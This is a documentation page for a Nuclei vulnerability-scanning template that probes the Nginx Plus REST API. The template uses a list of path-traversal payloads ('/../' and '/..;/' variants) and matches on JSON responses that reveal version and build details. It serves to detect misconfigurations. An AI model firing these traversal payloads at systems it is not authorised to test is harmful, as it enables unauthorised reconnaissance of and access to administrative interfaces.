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Nginx Plus Rest API - Traversal

ID: nginx-api-traversal

Severity: high

Author: encodedguy

Tags: nginx,fuzz,misconfig,lfi

Description

Section titled “Description”

Access to Nginx Plus Rest API was discovered.

YAML Source

Section titled “YAML Source”
id: nginx-api-traversal


info:
  name: Nginx Plus Rest API - Traversal
  author: encodedguy
  severity: high
  description: |
    Access to Nginx Plus Rest API was discovered.
  reference:
    - https://nginx.org/en/docs/http/ngx_http_api_module.html
    - https://x.com/akshaysharma71/status/1825815869953552844
  metadata:
    verified: true
  tags: nginx,fuzz,misconfig,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"


    payloads:
      paths:
        - "/api/1/nginx"
        - "/api/2/nginx"
        - "/api/3/nginx"
        - "/api/5/nginx"
        - "/api/9/nginx"
        - "/../../../../../../api/1/nginx"
        - "/../../../../../../api/2/nginx"
        - "/../../../../../../api/3/nginx"
        - "/../../../../../../api/5/nginx"
        - "/../../../../../../api/9/nginx"
        - "/../../../../../api/1/nginx"
        - "/../../../../../api/2/nginx"
        - "/../../../../../api/3/nginx"
        - "/../../../../../api/5/nginx"
        - "/../../../../../api/9/nginx"
        - "/../../../../api/1/nginx"
        - "/../../../../api/2/nginx"
        - "/../../../../api/3/nginx"
        - "/../../../../api/5/nginx"
        - "/../../../../api/9/nginx"
        - "/../../../api/1/nginx"
        - "/../../../api/2/nginx"
        - "/../../../api/3/nginx"
        - "/../../../api/5/nginx"
        - "/../../../api/9/nginx"
        - "/../../api/1/nginx"
        - "/../../api/2/nginx"
        - "/../../api/3/nginx"
        - "/../../api/5/nginx"
        - "/../../api/9/nginx"
        - "/../api/1/nginx"
        - "/../api/2/nginx"
        - "/../api/3/nginx"
        - "/../api/5/nginx"
        - "/../api/9/nginx"
        - "/..;/..;/..;/..;/..;/..;/api/1/nginx"
        - "/..;/..;/..;/..;/..;/..;/api/2/nginx"
        - "/..;/..;/..;/..;/..;/..;/api/3/nginx"
        - "/..;/..;/..;/..;/..;/..;/api/5/nginx"
        - "/..;/..;/..;/..;/..;/..;/api/9/nginx"
        - "/..;/..;/..;/..;/..;/api/1/nginx"
        - "/..;/..;/..;/..;/..;/api/2/nginx"
        - "/..;/..;/..;/..;/..;/api/3/nginx"
        - "/..;/..;/..;/..;/..;/api/5/nginx"
        - "/..;/..;/..;/..;/..;/api/9/nginx"
        - "/..;/..;/..;/..;/api/1/nginx"
        - "/..;/..;/..;/..;/api/2/nginx"
        - "/..;/..;/..;/..;/api/3/nginx"
        - "/..;/..;/..;/..;/api/5/nginx"
        - "/..;/..;/..;/..;/api/9/nginx"
        - "/..;/..;/..;/api/1/nginx"
        - "/..;/..;/..;/api/2/nginx"
        - "/..;/..;/..;/api/3/nginx"
        - "/..;/..;/..;/api/5/nginx"
        - "/..;/..;/..;/api/9/nginx"
        - "/..;/..;/api/1/nginx"
        - "/..;/..;/api/2/nginx"
        - "/..;/..;/api/3/nginx"
        - "/..;/..;/api/5/nginx"
        - "/..;/..;/api/9/nginx"
        - "/..;/api/1/nginx"
        - "/..;/api/2/nginx"
        - "/..;/api/3/nginx"
        - "/..;/api/5/nginx"
        - "/..;/api/9/nginx"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "version"
          - "build"
          - "address"
          - "load_timestamp"
        condition: and


      - type: word
        part: content_type
        words:
          - application/json


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/misconfiguration/nginx/nginx-api-traversal.yaml"

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